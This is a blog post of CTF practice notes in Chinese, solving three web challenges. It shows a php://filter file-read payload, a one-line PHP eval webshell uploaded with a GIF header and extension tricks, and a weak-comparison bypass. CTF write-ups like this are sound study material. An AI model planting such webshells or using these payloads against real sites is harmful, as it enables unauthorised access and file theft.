刷题学习记录

[极客大挑战 2019]Secret File1

 直接看网页源码

 发现Archive_room.php文件,访问文件

 点击秘密

 回显太快了,直接就跳到end.php

那么就用bp抓包试一下

 发现  secr3t.php文件并访问

发现文件flag.php,尝试访问flag.php

 在发现有flag.php文件的时候,应该联想到伪协议的运用,访问不了flag文件就读取它

payload:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码得到flag

php伪协议

php伪协议

[ACTF2020 新生赛]Upload1

 

 文件上传要求上传的文件是jpg,png,gif

那就上传一句话木马以jpg的形式上传

  GIF89a
 <?php @eval($_POST['1234']);?>

 用bp抓包,并将后缀名更改为.php、.php5、php4、.php3、php2、php1、html、htm、phtml、pht、pHp、pHp5、pHp4、pHp3、pHp2、pHp1、Html、Htm、pHtml。但是php不能用,不会回显上传成功,那就用phtml

 拿到回显,用蚁剑连接

 查看文件就可以找到flag

[ACTF2020 新生赛]BackupFile1

 先用dirsearch扫描目录,得到index.php.bak,访问会提示下载

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

 

要求GET传入key,key只能为数字否则会执行exit("Just num!"),截取key的整数部分,如果==$str那么就会输出$flag,注意这里使用的是==而不是===,那么就是一个简单的弱比较问题

所以我们只需要传入key=123即可

 

知识点

is_numeric() 检测变量是否为数字或数字字符串

intval():获取变量的整数值

PHP: intval - Manual

PHP intval() 函数 | 菜鸟教程

PHP弱比较

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值